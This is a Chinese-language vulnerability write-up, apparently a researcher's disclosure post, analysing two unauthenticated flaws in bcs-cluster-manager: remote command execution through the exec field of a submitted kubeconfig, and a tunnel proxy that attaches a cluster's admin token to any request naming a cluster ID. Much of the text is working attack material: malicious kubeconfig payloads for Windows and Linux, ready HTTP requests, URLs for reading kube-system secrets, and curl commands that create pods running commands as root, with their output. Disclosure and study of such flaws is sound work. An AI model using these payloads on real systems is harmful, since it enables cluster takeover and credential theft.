未认证 kubeconfig 校验 → 服务端 RCE internal/actions/cluster/import.go:519-537:用户提交的 kubeconfig 被拿去建立 K8s 客户端。
kubeconfig 是”配置即代码”格式——里面有个 exec 字段(客户端凭证插件),client-go 拿到它后,会在发HTTP 请求之前执行 exec.command 指定的命令。这是 K8s 生态里的经典 RCE 模式。
接下来对 checkKubeConfig 查找引用。
我们接下来看看是否可控,关注 req.Validate() 和 GetKubeConfigFromYAMLBody 方法。
GetKubeConfigFromYAMLBody 方法只解析 YAML 结构,不清理 exec 段;
再看看 req.Validate(),唯一的检查:KubeConfig 字段长度 ≥ 1(非空)。
那么 req.KubeConfig 就是 HTTP body 里的原文,一字不改传到枪口。中间没有任何一层”把exec 字段剥掉”的动作。
然后我们要找谁调用了 CheckKubeConfig#handle 方法。我们首先看到了 NewCheckKubeAction 方法,其实就是实例化一个 CheckKubeConfig。看看能不能通过它来找到方法调用。
成功找到调用。
然后全局搜,找到了RPC调用。
然后我们从main.go方法开始看一下鉴权部分。
位置: internal/auth/preset.go:43。 CheckCloudKubeConfig 列入 NoAuthMethod,完全跳过认证
SkipHandler返回true。SkipHandler 让列表内的方法连身份认证都不做(不只是跳过权限点)。
所以我们接下来就可以准备恶意KubeConfig:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 apiVersion: v1 kind: Config clusters: - name: c cluster: server: https://127.0.0.1:1 insecure-skip-tls-verify: true users: - name: u user: exec: apiVersion: client.authentication.k8s.io/v1beta1 command: cmd.exe args: ["/c", "echo PWNED_KUBECONFIG_EXEC > C:/Users/TY/Desktop/rce- marker.txt"] interactiveMode: Never contexts: - name: ctx context: {cluster: c, user: u} current-context: ctx
1 2 3 4 5 6 7 PUT /clustermanager/v1/cloud/kubeConfig HTTP/1.1 Host: 127.0.0.1:18096 {"kubeConfig": "apiVersion: v1\nkind: Config\nclusters:\n- name: c\n cluster:\n server: https://127.0.0.1:1\n insecure-skip-tls-verify: true\nusers:\n- name: u\n user:\n exec:\n apiVersion: client.authentication.k8s.io/v1beta1\n command: cmd.exe\n args: [\"/c\", \"echo PWNED_BY_Meteor_Kai > C:/Users/TY/Desktop/rce-marker-user.txt\"]\n interactiveMode: Never\ncontexts:\n- name: ctx\n context:\n cluster: c\n user: u\ncurrent- context: ctx\n"}
这里给出linux版本:
1 2 3 4 5 6 7 8 PUT /clustermanager/v1/cloud/kubeConfig HTTP/1.1 Host: 127.0.0.1:18096 {"kubeConfig": "apiVersion: v1\nkind: Config\nclusters:\n- name: c\n cluster:\n server: https://127.0.0.1:1\n insecure-skip-tls-verify: true\nusers:\n- name: u\n user:\n exec:\n apiVersion: client.authentication.k8s.io/v1beta1\n command: /bin/sh\n args: [\"-c\", \"id > /tmp/bcs_poc_marker_9f3a\"]\n interactiveMode: Never\ncontexts:\n- name: ctx\n context:\n cluster: c\n user: u\ncurrent-context: ctx\n"}
未认证集群 API 隧道代理 → 集群接管 bcs-cluster-manager 有一条”把 HTTP 请求转发进集群隧道”的路由——任何人不需要任何凭据,只要 URL 里写上一个集群 ID,服务端会自动取出该集群的管理员令牌、塞进请求头,再把请求转给集群的 kube-apiserver。攻击者等于白借管理员身份操作任意集群(读 Secret、exec 容器、建特权Pod)→ 集群完全接管。
我们先找一下我们的sink: internal/tunnelhandler/k8s/proxier.go:124-125。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 func (f *TunnelProxyDispatcher ) ServeHTTP (rw http.ResponseWriter , req*http.Request ) { blog.V (3 ).Infof ("xreq %s, host %s, url %s, src %s" , utils.GetXRequestIDFromHTTPRequest (req), req.Host , req.URL , req.RemoteAddr ) start := time.Now () vars := mux.Vars (req) clusterID := vars[f.ClusterVarName ] var proxyHandler *ClusterHandlerInstance websocketHandler, found, err := f.lookupWsHandler (clusterID) if err != nil { blog.Errorf ("error when lookup websocket conn, err %s" , err.Error ()) status := common.NewInternalError ( fmt.Errorf ("error when lookup websocket conn, err %s" , err.Error ())) status.ErrStatus .Reason = common.ErrorStatusCreateTunnel common.WriteKubeAPIError (rw, status) return } if found { blog.Info ("found websocket conn for k8s cluster %s" , clusterID) handlerServer := stripLeaveSlash (f.ExtractPathPrefix (req), websocketHandler) proxyHandler = &ClusterHandlerInstance { Handler : handlerServer, } credentials, found, err := f.model .GetClusterCredential (context.TODO (), clusterID) if err != nil { blog.Errorf ("error when get cluster %s credential, err %s" , clusterID, err.Error ()) status := common.NewInternalError ( fmt.Errorf ("error when get cluster %s credential, err %s" , clusterID, err.Error ())) status.ErrStatus .Reason = common.ErrorStatusCreateTunnel common.WriteKubeAPIError (rw, status) return } if !found { blog.Errorf ("cluster %s credential not found" , clusterID) status := common.NewInternalError ( fmt.Errorf ("cluster %s credential not found" , clusterID)) status.ErrStatus .Reason = common.ErrorStatusCreateTunnel common.WriteKubeAPIError (rw, status) return } bearerToken := "Bearer " + credentials.UserToken req.Header .Set ("Authorization" , bearerToken) req.URL .Scheme = "https" if websocket.IsWebSocketUpgrade (req) { metrics.ReportAPIRequestMetric ("k8s_tunnel_request" , "websocket" , "" , start) } proxyHandler.Handler .ServeHTTP (rw, req) if !websocket.IsWebSocketUpgrade (req) { metrics.ReportAPIRequestMetric ("k8s_tunnel_request" , req.Method , "" , start) } return } status := common.NewForbiddenError (common.GroupResourceCluster , clusterID, errors.New ("no cluster session can be found using given cluster id" )) common.WriteKubeAPIError (rw, status)}
关键代码如下:
1 2 3 4 5 6 7 vars := mux.Vars(req) // Get cluster id clusterID := vars[f.ClusterVarName] credentials, found, err := f.model.GetClusterCredential(context.TODO(), clusterID) bearerToken := "Bearer " + credentials.UserToken req.Header.Set("Authorization", bearerToken) proxyHandler.Handler.ServeHTTP(rw, req)
这里其实就是按照URL中的 cluster id 从数据库中获取credentials认证。所以攻击者只需要知道一个集群ID。设置好Authorization请求头后,把请求经 websocket 隧道发给集群内的 kubeagent,由kube-agent 带着这枚令牌去打kube-apiserver。整段代码没有任何一处检查调用者身份、也没有方法/路径限制——GET/POST/PUT/DELETE 和任意 K8s 子路径都照转。
然后我们往回找,看看哪里调用了。我们全局搜 NewTunnelProxyDispatcher 即可。
这里一条路就很清楚了。我们可以通过请求 /clustermanager/clusters/{cluster_id}/{sub_path:.*} 路由,服务端会自动取出该集群的管理员令牌、塞进请求头,再把请求转给集群的 kube-apiserver。然后我们关注的是后面的sub_path,应该是我们可控的请求路径。
回到proxifier.go:
1 2 3 4 handlerServer := stripLeaveSlash(f.ExtractPathPrefix(req), websocketHandler) proxyHandler = &ClusterHandlerInstance{ Handler: handlerServer,} proxyHandler.Handler.ServeHTTP(rw, req)
这里调用的相当于是 stripLeaveSlash(f.ExtractPathPrefix(req), websocketHandler) 的ServeHTTP 方法。有对前缀的处理之类的。我们跟进看看。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 func (f *TunnelProxyDispatcher) ExtractPathPrefix(req *http.Request) string { subPath := mux.Vars(req)[f.SubPathVarName] fullPath := req.URL.Path // We need to strip the prefix string before the request can be forward to apiserver, so we will walk over the full // request path backwards, everything before the `sub_path` will be the prefix we need to strip return fullPath[:len(fullPath)-len(subPath)]} // like http.StripPrefix, but always leaves an initial slash. (so that our // regexps will work.) func stripLeaveSlash(prefix string, h http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) { blog.Debug(fmt.Sprintf("begin proxy for: %s", req.URL.Path)) p := strings.TrimPrefix(req.URL.Path, prefix) if len(p) >= len(req.URL.Path) { http.NotFound(w, req) return } if len(p) > 0 && p[:1] != "/" { p = "/" + p } req.URL.Path = p h.ServeHTTP(w, req) })}
ExtractPathPrefix 是取出前端那段, stripLeaveSlash 是删掉取出的前端那段,保留我们的sub_path。
现在就可以构造payload了,在kali上搭建一个环境:
http://127.0.0.1:18096/clustermanager/clusters/BCS-K8S-POC/api/v1/namespaces http://127.0.0.1:18096/clustermanager/clusters/BCS-K8S-POC/api/v1/namespaces/kubesystem/secrets上述其实已经可以接管一个集群了。甚至可以通过特权pod方式来进行rce:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 BASE=http://127.0.0.1:18096/clustermanager/clusters/BCS-K8S-POC NS=poc-target ┌──(root㉿kali)-[~] └─# curl -s -X POST $BASE/api/v1/namespaces/$NS/pods \ -H 'Content-Type: application/json' \ -d '{ "apiVersion":"v1","kind":"Pod", "metadata":{"name":"unauth-rce-pod","namespace":"poc-target"}, "spec":{"restartPolicy":"Never","activeDeadlineSeconds":120, "containers":[{"name":"app","image":"busybox:1.36", "command":["/bin/sh","-c","echo RCE_POD_OK; id; uname -a"]}]} }' -o /dev/null -w '%{http_code}\n' 201 ┌──(root㉿kali)-[~] └─# sleep 8 ┌──(root㉿kali)-[~] └─# curl -s $BASE/api/v1/namespaces/$NS/pods/unauth-rce-pod/log RCE_POD_OK uid=0(root) gid=0(root) groups=0(root),10(wheel) Linux unauth-rce-pod 6.18.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.18.12-1kali1 (2026-02-25) x86_64 GNU/Linux ┌──(root㉿kali)-[~] └─# curl -s -X POST $BASE/api/v1/namespaces/$NS/pods \ -H 'Content-Type: application/json' \ -d '{ "apiVersion":"v1","kind":"Pod", "metadata":{"name":"unauth-rce-pod1","namespace":"poc-target"}, "spec":{"restartPolicy":"Never","activeDeadlineSeconds":120, "containers":[{"name":"app","image":"busybox:1.36", "command":["/bin/sh","-c","echo RCE_POD_OK; whoami; ifconfig"]}]} }' -o /dev/null -w '%{http_code}\n' 201 ┌──(root㉿kali)-[~] └─# sleep 8 ┌──(root㉿kali)-[~] └─# curl -s $BASE/api/v1/namespaces/$NS/pods/unauth-rce-pod1/log RCE_POD_OK root eth0 Link encap:Ethernet HWaddr C2:F5:6A:B8:FB:DB inet addr:10.244.0.13 Bcast:10.244.0.255 Mask:255.255.255.0 inet6 addr: fe80::c0f5:6aff:feb8:fbdb/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:5 errors:0 dropped:0 overruns:0 frame:0 TX packets:6 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:446 (446.0 B) TX bytes:516 (516.0 B) lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
危害性相当大!!!
注 这里说一件让我感到非常痛苦的事情:我把这个RCE同时交了CNVD和TSRC,TSRC说我同时交给了CNVD,所以原本的3000+赏金泡汤了。oh no,我真的不知道。